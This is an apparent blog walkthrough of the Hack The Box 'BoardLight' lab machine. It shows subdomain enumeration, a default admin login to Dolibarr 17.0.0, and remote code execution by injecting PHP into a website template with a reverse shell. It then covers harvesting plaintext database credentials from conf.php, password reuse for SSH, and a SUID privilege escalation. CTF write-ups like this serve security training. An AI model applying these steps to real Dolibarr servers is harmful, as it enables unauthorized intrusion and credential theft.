Skip to content
Hack The Box1 min read

BoardLight - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



HTB - BoardLight#

NMAP

image1

  • From the website we get the domain name:

image2

Add board.htb to /etc/hosts

  • Subdomain enum:

gobuster vhost -u http://board.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 64 --append-domain

image3

We get:

crm.board.htb:

  • Got a login site:

image4

Guessed admin : admin

  • And we're in:

image5

  • We can see it runs Dolibarr 17.0.0

<u>RCE exploit:</u>

On the website tab - we can get RCE https://www.swascan.com/security-advisory-dolibarr-17-0-0/

(The website resets quite often)

  • Create new website

  • Import website template (I chose the first template and used the About Us page)

  • Edit HTML Source

  • I tested with: <?php includeContainer('header'); ?>

<section id="mysection1" contenteditable="true">

bash
\<?**PHP** echo system("whoami");?\>

</section>

<?php includeContainer('footer'); ?>

image6

  • Now if we use Pentestmonkey PHP rev shell and paste that inside the boilerplate code: <?php includeContainer('header'); ?>

<section id="mysection1" contenteditable="true">

<Pentest Monkey code - Change to Capital PHP>

</section>

<?php includeContainer('footer'); ?>

image7

  • Set up listener
  • Click save

image8

bash
/usr/bin/script -qc /bin/bash /dev/null
  • Upload LinPEAS

We can see port 3306 open - MySQL

image9

Also, it found a database.php file:

/var/www/html/crm.board.htb/htdocs/admin/system/database.php

image10

The file itself shows us the variables imported from the conf.php file ie. $dolibarr_main_db_pass

  • The conf file is located in: /var/www/html/crm.board.htb/htdocs/conf/conf.php

image11

And here we get MySQL creds

$dolibarr_main_db_user='dolibarrowner';

$dolibarr_main_db_pass='serverfun2$2023!!';

image12

bash
show databases;
use dolibarr;
show tables;

There are a lot of tables in the DB

To find which have data do:

bash
SELECT TABLE_NAME,TABLE_ROWS FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'dolibarr';

image13

image14

  • After messing around with trying to crack the hash - which is a dead end and not needed:

I reused the mysql user password for larissa.

bash
su larissa

# serverfun2\$2023!!

image15

  • We can now SSH in

image16

bash
cat user.txt

<u>Priv Esc</u>

  • In LinPEAS (updated version) - we see the unknown SUID binaries - enlightenment:

image17

image18

  • Root:

image19

Hack The Box8 min

HTB - Analysis

Analysis - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • gobuster
  • impacket
  • ldap
  • linux
  • nmap
Hack The Box2 min

HTB - POV

POV - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • gobuster
  • mimikatz
  • nmap
  • powershell
  • privilege escalation
Hack The Box5 min

HTB - Office

Office - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • bloodhound
  • gobuster
  • hashcat
  • impacket
  • kerberos